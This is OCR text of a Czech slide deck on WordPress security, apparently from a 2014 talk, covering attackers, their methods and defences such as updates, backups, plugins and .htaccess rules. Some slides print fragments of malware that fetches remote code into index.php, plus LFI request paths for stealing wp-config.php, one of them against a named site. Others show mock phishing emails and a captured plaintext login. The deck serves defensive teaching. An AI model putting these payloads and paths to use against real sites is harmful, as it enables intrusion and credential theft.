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5 nejlepsich rad

Aktualizujte
Zalohujte
Pouzivejte bezpecnostni plugin

Budte opatrni

* Smazte co nepotrebujete a nedavejte svétu moc informaci.
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Bezpecnostni problém?
Muzeme si za to sami!ll
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Kdo, co, jak a proc

Kdo se na nas pokousi zautocit?
Co nam udela?

Jak to udéla?

ProC to ***** dela?
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AR

Roboti

Zkusi par zranitelnosti, par hesel,
kdyz se to nepovede, tak jdou pryc.
Cile vybiraji ndhodné.

Kde se berou?
napf. infikované pocitace (zombie v botnetu), jiné infikované weby...

21.9.2014 http://lynt.cz 6
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Anonymni hackeri

21.9.2014

Najdou si zranitelné obéti, napf. pres

Google hacking (Google Dork). Zkousi vSechno co umi.
Kdyz se to nepovede, tak jdou vétSinou dal.

Je jim vcelku jedno kdo je cil.

http://lynt.cz 7
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Chtéji vas konkrétni web. Zjistuji mnoho informaci.
Zkousi vSechno, co umi. Kdyz se to nepovede, tak
se vrati jakmile se objevi dalsi zranitelnost, nebo

hledaji jiné cesty — phishing, malware...
Kde se berou?

MuzZe to byt konkurence — i nepfima.
Hodi jim odkaz z vaseho webu, nebo info o navstévnicich
21.9.2014 http://lynt.cz 8
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Déti

script kiddies

Bez technickych znalosti, vyuZiji dostupny exploit (program), ¢asto je samotné nakazi ©

21.9.2014 http://lynt.cz 9
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Kdo, co

Cizi kod

Vlozi spamové odkazy, reklamu, presmeérovani
Nechaji navstévniky stahovat malware

Pouziji web na DDOS a jiné utoky

Kradez informaci
Ziskaji osobni informace uzivatel(l webu

Omezeni provozu
Odstavi web/server (DOS)

21.9.2014 http://lynt.cz 10
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Kdo, co, jak

Bezpecnostni chyba v pluginech a Sablonach
Bezpecnostni chyba v jadru WP

Brutal force utok na Admin

Spam z komentarua (+pingbacky)

Odchytnuti hesla a cookie

Z jinych webU na hostingu

Utok oklikou — phishing, malware (keylogger, ulozené heslo FTP)

21.9.2014 http://lynt.cz
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Kdo, co, jak a proc

VS MO

AB 39048518\ /4

Primé penize z reklamy.

Ziskani zpétnych odkazU.

Infikovani pocitacli — tvorba botnetu — prondjem/tézeni bitcoinu.
Odstaveni/ziskani dGvérnych info konkurence.

Ukazani technickych dovednosti a jejich nasledny pronajem.

21.9.2014 http://lynt.cz 12
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Pluginy a Sablony

MuZou prakticky vSechno — vyZaduiji zvySenou pozornost, pravidelné aktualizace a mazani
nepotrebnych — soubory neaktivniho pluginu stdle mohou obsahovat zranitelnosti.
Mohou obsahovat védomé a nevédomé bezpecnostni problémy.

Védomé
Muzete stdhnout Sablonu/plugin z néjakého

nedlvéryhodného zdroje a ten mUze obsahovat
prekvapeni.

Torrent, UloZto atd. nejsou ddvéryhodné zdroje ©

To, ze za plugin platim, neznamena, Ze je
divéryhodny.

Nevédomé
Prosté chyba, snaha prinést uzivateli péknou funkci s malym usilim.
Nejcastéji se Sikovnym dotazem podari stdhnout zajimavy soubor (wp-config...), nebo naopak

nahrat svdj zajimavy soubor. Mohou byt Spatné osetrené uzivatelské vstupy a povede se vykonat
néjaky kod (PHP nebo JavaScript).

21.9.2014 http://lynt.cz
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Prekvapeni

404.php
<?php eval(base64_decode(ZXZhbChiYXNINjRfZGVjb...));?>

<?php
Scode_txt = 'http://javaterm.com/r9.txt';

if(is_dir(Spath.'/wp-content')...){
Scode= file_get_contents(Scode_txt);
Sindex_path = Spath.'/index.php';
if(file_put contents(Sindex_path, Scode)){...}

eval(gzinflate(base64 _decode(...)))
preg_replace("/.+/e","\x65\x76\x61\x6C\x28\x67\...)

ob_start(...);
if (!preg_match('%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime
| Spider|ia_archiver| AOL|slurp| msn)%i', Sagent, Sret))...

21.9.2014 http://lynt.cz 14
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Chyby

Download ShortCode - LFI (CVE-2014-5465)
/wp-content/force-download.php?file=../wp-config.php
Sfile=S GET['file'];
if(isset(Sfile)) {

include("pages/Sfile"); }
else {

include("index.php"); }

http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php

Revolution slider - LFI
LFI: /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

MailPoet — File Dropper
Ovéreni uploadu pomoci hooku add_action( 'admin_init', ,...' ) — pousti se pfi spusténi stranky v
administraci — napf. admin-post.php — uploader ,,Sablony” emailu v zip

OptimizePress Theme — File Dropper
/wp-content/themes/OptimizePress/lib/admin/media-upload.php — vlastni uploader bez
dostate¢ného zabezpeceni

21.9.2014 http://lynt.cz 15
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Chyby v jadre

Jiz je toho hodné vyladéno, ale urcité mnoho zbyva ©

Kritické se neobjevuji tak ¢asto, vétSinou se jedna o unik informaci nebo DOS. Po
odhaleni je oprava Casto rychle dostupnd a diku auto-update i nasazena.

Chyba v XML-RPC (tykala se i Drupalu) — specialni XML soubor dokazal vygenerovat
nékolika GB pozadavek — doslo k vyCerpdni prostredkd.

Chyby, které jsou vlastnostmi:

V zakladu neni limitovan pocet chybnych prihlaseni (Ize resit pluginem)
Lze jednoduse ziskat uzivatelské jméno:

http://www.justit.cz/wordpress/?author=2 =>
http://www.justit.cz/wordpress/author/ddoc/

RewriteRule *author/(.*)S http://jdi-nekam.com/ [R,L]

21.9.2014 http://lynt.cz T
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Nejjednodussi cesta — pridat komentar, kdyz je to mozné.
Kdyz to neni mozné, presvéd it se, zda to opravdu neni mozné:

/?p=1 =>moznd admin nesmazal prvni Hello World pfispévek, ktery ma povoleny
komentare (globalni vypnuti komentar( se vztahuje pouze na nové prispévky)

MdlZeme uzaviit komentare po X dnech stafi ¢lanku.

Vypnuti komentard na strankach:

function lynt_disable_comments_on_pages( Sfile ) {
return is_page() ? __FILE__ : Sfile;
}

add_filter( 'comments_template’, 'lynt_disable_comments_on_pages');

21.9.2014 http://lynt.cz 17
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Spam — ale ja komentare chci

Pouziti antispamového filtru:

Akismet

e predinstalovany v zakladu, chce drobny poplatek

* pouziva kontextové filtrovani a reputaci IP adresy

* nékdy mlze dojit k zablokovani regulérniho prispévku

Captcha
* nemamijirad ©

HoneyPot

* nastrazi policko, které vyplni jen robot,

e komentar rovnou odstrani

* pokud se jedna o cilenéjsi spamovani, mlzou spamy projit
e Pluginy: NoSpamNX, Honeypot Comments

Tyto reSeni se nevztahuji na pingbacky, pokud je nechci, tak je dobré je

vypnout
21.9.2014 http://lynt.cz 18
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Bezpecnostni problém?
Muzeme si za to sami!ll
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Clovék je nejslabsi ¢lanek

Davame slaba hesla a pouzivame uzivatelské jméno admin.
Hesla si neSifrované ukladame a pouzivame je na vice webech.

Doporucuji: nainstalovat WP klidné s uzivatelem admin, nainstalovat si vse
potrebné, zalozit nového uZivatele s pravy admina, a starého smazat. Pouzivat
sprdvce hesel napr. KeePass a vyuZivat jeho generdtor hesel.

Prihlasovaci heslo neni slozité odchytnout.

Neni vhodné se prihlasovat z neznamych siti (wifi i kabelovych), pokud nemam
SSL v administraci.

define('"FORCE_SSL_ADMIN', true);
define('FORCE_SSL_LOGIN', true);

ProcC vlastné nezapnout SSL pro cely web?

21.9.2014 http://lynt.cz
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Clovék je nejslabsi ¢lanek

"' dumpfile.pcap [Wireshark 1.12.0 (v1.12.0-0-g4fab41a from master-1.12]] = CL]

File Edit View Go Capture Analyze Statistics Telephung Tools  Internals  Help

© © B A¢es»TFLIEE @aaq »
Filter: | tcp.stream eq 51 = | Expression... Clear »
Mo. Tirne Source Destination Protocol Length Info =
[ 359 14.491340 127.0.0.1 127.0.0.1 HTTP 821 posT—
387 14. 589853 127.0.0.1 127.0.0.1 HTTP 1262 HTTP
389 14.592353 127.0.0.1 127.0.0.1 HTTP 975 GET ~
4 i | L

+
-

Raw packet data
Internet Protocol version 4, src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (
Transmission Control Protocol, Src Port: 63595 (63595), Dst Port: 1110 (1

I

HTML Form URLZEncoded: ation,/x-www-form-urlencoded

app

F Form item:y "log" = "admin"
H Form item:\"pwd" = "admin’,
E Form item: "forever"
F Form item: "wp-submit" = "Log In"
F Form item: "redirect_to" = "http://wpd.dev/ wp-admin/" i
E Form item: "testcookie" = "1"
21.9.2014 http://lynt.cz 21
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| 359 14.491340 127.0.0.1 127.0.0.1 HTTF 821 posT—
387 14. 589853 L0.0.1 0.1 1262 HTTP
389 14.592353 127.0.0.1 127.0.0.1 HTTP 975 GET -
‘| i | L
F Frame 387: 1262 bytes on wire (10096 bits), 1262 bytes captured (10096 bi‘|
# Raw packet data
# Internet Protocol version 4, src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (
F Transmission Control Protocol, Src Port: 1110 (1110), Dst Port: 63595 (63
- Hypertext Transfer Protocol
VETP/ALL 307 Moved TemporartAmn |
server: nginx/1.5.10%r%n
Date: Fri, 19 sep 2014 06:43:34 aMTWr'n
Content-Type: text/html; charset=UTF-8%r'n
Transfer-encoding: chunkedr'n
Connection: keep-aliwve'rin
¥X-Powered-By: PHP/5.4.11%r"n
Expires: wWed, 11 Jan 1984 05:00:00 GMTWrn
cache-Control: no-cache, must-revalidate, max-age=0%r'n
Fragma: no-cache'rin I
set-Cookie: wordpress_test_cookie=wP+Cookie+check; path=/r"%n |
X-Frame-options: SAMEORIGIN'. N |
[truncated]set-Cookie: wordpress_5ala23a75bd439b19578d1a97 5e0adl6=admi
[truncated]set-Cookie: wordpress_5ala23a75bd439b19578d1a97 5e0adl6=admi
[truncated] set-Cookie: wordpress_logged_in_5ala23a75bd439b19578d1a975e
Location: http:/ wpd.dev,/ wp-admin/wrin
21.9.2014 http://lynt.cz 22
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| 359 14.491340 127.0.0.1 127.0.0.1 HTTP ?321 POST—
387 14.589853 127.0.0.1 127.0.0.1 HTTP 1262 HTTP
389 14. 592353 0.0.1 0.0.1 975 GET B4
1 i | L
# Frame 389: 975 bytes on wire (7800 bits), 975 bytes captured (7800 bits) |
# Raw packet data
# Internet Protocol Version 4, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (
F Transmission Control Protocol, Src Port: 63595 (63595), Dst Port: 1110 (1
= Hypertext Transfer protocol
W GET fwp-adwin/ WTTP/L.ING\R
Host: wpd.devirin
Connection: keep-alive\rin
Cache-Control: max-age=0%r'n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image web
User-agent: Mozilla/5.0 (wWindows NT 6.1; wWOW64) Applewebkit,/537.36 (KHT
rReferer: http://wpd.dev/wp-login. phprin
Accept-Encoding ) .
AcCCept-Language S timto cookie se |
= [truncated]cCod NPT bd439b19578d1a97 5efadl é=adminrC
cookie pair: [RRASUCNSIEUIERIEREY, '\ o) 207 5c0adl 6=admirs7c14123
Cookie pair: bez znalosti hesla ent%30browse%26advImgbetails%3D
Cookie pair: % 06623
Cookie pair: _test_cookie=wP+Cookiet+check
Cookie pair: wordpress_logged_in_53la23a75bd439b19578d1a97 5e0adlg=adm
cookie wordpress_logged_in_...se posild stale, nejen pfi pristupu do adminu
21.9.2014 http://lynt.cz 23
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X \'4 ° ° AV AV ARV 4 V4
Clovék je nejslabsi clanek
Predmét: Bezpecnostni problém WEDQOS Hosting [8614001612]
Datum: Wed, 20 Sep 2014 14:32:48 +0200
Od: WEDOS <hosting@wedos.com>

Komu: <ty>
Vazeny zakazniku,

Na Vasi webové prezentaci tvujweb.cz zalozené na redakénim systému Wordpress byla
zjiSténa zavazna bezpecnostni chyba v pluginu Skvélej Plugin, které umoznuje utocnikovi
ziskat plnou kontrolu nad Vasim webem a nasledné utocit na dalsSi weby.

Oficialni oprava zatim neni k dispozici. Nasi specialisté vSak mohou chybu opravit ru¢né.
K tomu potfebujeme Vase prihlasovaci udaje do administrace Wordpress.

Zaslete ndm je prosim obratem, at mlzZzeme zabranit dalsSim utokim. V opacném pripadé
budeme bohuzel nuceni Vasi webovou prezentaci pozastavit.

WEDQOS Internet, a.s.

21.9.2014 http://lynt.cz ”
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X \'4 ° ° AV AV ARV 4 V4
Clovék je nejslabsi clanek
Predmét: Bezpecnostni problém WEDQOS Hosting [8614001612]
Datum: Wed, 20 Sep 2014 14:32:48 +0200
Od: WEDOS <hosting@wedos.com>

Komu: <ty>
Vazeny zakazniku,

Na Vasi webové prezentaci tvujweb.cz zalozené na redakénim systému Wordpress byl
zjiSténa Skodlivy kéd, ktery masivné utoci na dalsi weby a infikuje navstévniky.

Neprodlené nainstalujte nas antivirovy plugin Wedos-WP-Antivir, ktery naleznete v
priloze i s ndvodem k instalaci. V opacném pripadé budeme bohuzel nuceni Vasi
webovou prezentaci pozastavit.

WEDOS Internet, a.s.

21.9.2014 http://lynt.cz Je
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Clovék je nejslabsi clanek
Jste si jisti, ze se chovate obezretné?

Jste si jisti, Zze se obezretné chovaji i ostatni uzivatelé, ktefi maji pfistup k webu?

| ziskdni neadministratorského u¢tu maze mit velké dusledky — upload souborut, vkladani
obsahu.

Uzivatelské role Administrator a Editor mohou standardné vkladat do komentaru
JavaScript.

21.9.2014 http://lynt.cz
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Co mi mohou udélat okolni weby?
Pfimé ohrozeni:

Pokud neni hosting spravné nakonfigurovan, mize napadeny web
pfistupovat k souboriim i na ostatnich webech.

Nejcastéjsi metody oddéleni web:

e Vlastni uzivatelé

* Open_basedir

* RUzné typy chroot

Neprimé ohrozeni:

Ze stejné IP adresy je rozesilan spam, stahovan malware — dostane se na

blacklisty

21.9.2014 http://lynt.cz
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Co s tim vSim mam délat?
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Aktualizujte

Problém €. 1 —jak se dozvédét o aktualizaci?

* WP Updates Notifier — pfi dostupném updatu zasle email

*  Vice webl Ize udrzovat hromadné pomoci Infinite WP

* Sledovat informace o aktudlnich hrozbach (zdroje na konci prezentace)

Problém €. 2 — nerozbije se to?
Pravdépodobné nékdy ano, ale lepsi nez bezpecnostni rizika

Jadro s ve WP 3.8+ aktualizuje samo
define( "WP_AUTO UPDATE_CORE', true ); - povoli i majoritni updaty

Automaticka aktualizace plugint a Sablon zapnout:
add_filter( 'auto_update_plugin',' return_true');
add_filter( 'auto_update_theme',' return_true');

Pozor na vlastni Upravy. V pfipadé Sablon je vhodné si udélat odvozenou Sablonu.

S pouzitim mensiho mnozstvi plugint klesnou naroky na spravu i bezpeénostni rizika.

21.9.2014 http://lynt.cz
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Zalohujte

Po pripadném napadeni bude mozné se vratit k neinfikované verzi.

Pozor, kam se zaloha uklada.

Redeni hostingu/ruéni zaloha DB a soubor
Zalohovaci plugin: napf. BackWPup, BackupBuddy
Soucdst nékterych dalSich pluginti a nastroju (InfiniteWP)

,Zalohovani je alfou a omegou prace na pocitaci.”

Mr.Backup Mr.NoBackup
21.9.2014 http://lynt.cz
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Pouzivejte bezpecnostni plugin

Komplexneéjsi reseni, které opravi nekterée
zneuzitelné diry, omezi brutal force utoky na
administraci, najdou podezrely kod.

Vyberte si svého favorita:
* Wordfence

* iThemes Security

* Allin One WP security

21.9.2014 http://lynt.cz
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Wordfence

Realtime scanner

* Pokousi se zjistit, zda je navstévnik bot nebo Clovek a
umi dle toho nastavovat politiky

* Blokuje pristupy do administrace

e Scanuje soubory na podezrely kod

* Umi cachovani pro dorovnani vykonnostni ztraty
* Notifikuje pfi zménach soubori

* Prémiové funkce (39S/rok): prihlasovani pomoci SMS,
vzdalené scany, antispam v komentarich

21.9.2014 http://lynt.cz
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iThemes Security

Privodce bezpecnosti

e Blokuje pristupy do administrace

* Blokuje IP adresy (ma i distribuovany seznam)

e Zalohuje databazi

* Hleda malware v souborech

* Detekuje zvysené mnozstvi 404

* Monitoruje zmény v souborech

* Presméruje prihlasovani

e Spravné nastavi prava k souborim a slozkam
 Umizménit prefix databaze

e DalSi nastroje od vydavatele (Sync, BackupBuddy,...)

21.9.2014 http://lynt.cz
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All in One WP Security

VSe, co potrebujete na par klikd

* Podobné funkce jako iThemes Security
 Nekde podrobnéjsi nastaveni

* +umoznuje ,zakazat” kopirovani obsahu

* +zakaz pouzivani obrazku na jinych webech

* + captcha do komentaru a login page (sem umi
dat i honeypot)

iThemes vice radi, co mate udélat.

21.9.2014 http://lynt.cz 34
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Co mohu udeéelat sam

 Zmeénit prefix DB pfi instalaci

e Zakaz PHP v /wp-content/uploads/ - .htaccess

e Zakazani XML-RPC - .htaccess (prip. add_filter('xmlrpc_enabled', ' return_false');)
* Pridat dalsi ochranu k wp-login (http auth, 2 fazova autentifikace) - .htaccess

* Hlidat referer (prihlasovani, komentare) - .htaccess

» Zkontrolovat prdva slozek a soubor

e Zamaskovat verzi WP a ServerSignature - .htaccess, wp-config.php

» disable_functions (exec, passthru,shell _exec, system, proc_open, popen, eval — zde
mUzZe néco prestat fungovat — jetpack, zip,...) — php.ini

* allow_url _fopen, allow _url_include — php.ini/ .htaccess

* Posunout wp-config.php o Uroven vyse — otazka, jaky to ma smysl (doporuceni
vzniklo chybou v systému Plesk, ktery deaktivoval PHP a zdrojové kody tak byly
primo dostupné), lepsi je dat wp-config do paralelni slozky a includovat ho
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.htaccess

Globalni .htaccess

ServerSignature off

#zakazani xml-rpc

RedirectMatch 403 /(.*)/xmlrpc\.phpS

#kontrola refereru

RewriteCond %{REQUEST_METHOD} POST

RewriteCond %{REQUEST_URI}.(wp-comments-post|wp-login)\.php*
RewriteCond %{HTTP_REFERER} !.*example.com.* [OR]

RewriteCond %{HTTP_USER_AGENT} 7S

RewriteRule ~(.*)S - [F L]

#zakaz pristupu k nékterym souboriim

<FilesMatch "license.txt| wp-config-sample.php | readme.html|.htaccess | wp-config.php">
Order allow,deny
Deny from all

</FilesMatch> Jind moZnost:

<FilesMatch \.phpS$>
.htaccess ve sloZce /wp-content/uploads/ Order allow,deny

php_flag engine off Deny from all
</FilesMatch>

Dalsi tipy (MySQL injection...): https://secure.rivalhost.com/knowledgebase/1037/htaccess-against-MySQL-
injections-and-other-hacks.html
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Prava slozek a souboru

root directory
wp-includes/
.htaccess
wp-admin/index.php
wp-admin/js/
wp-content/themes/
wp-content/plugins/
wp-admin/
wp-content/
wp-config.php
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Problematika DOS a DDOS

e Castelné Ize Fesit pomoci cachovaciho pluginu
(WP-SuperCache) — neékteré utoky postupnée
napr. vycerpaji pocet povolenych php procesu

* Analyza botu ve Wordfence

* Dalsi reseni je pouzit sluzbu typu
CloudFlare/Incapsula (WAF — web application
firewall)

* Masivni utok muze ucpat linku = zalezi pak na
technologiich poskytovatele
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/Zdroje dalsich informaci

 http://www.kyberbezpecnost.cz/

* http://packetstormsecurity.com/search/?g=wordpress — vhodné do
RSS

 http://blog.sucuri.net/
* https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress
 http://codex.wordpress.org

e https://github.com/b374k/b374k — nejcastéji uploadovany nastroj
utocniky

e https://www.startssl.com — zakladni SSL certifikat zdarma

e http://edu.lynt.cz/ — nds vyukovy portal, casem zde mohou byt
zajimavé informace
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A to je vSe, pratelé.

aktualizujte, zalohujte, pouzivejte bezpecnostni plugin, budte opatrni
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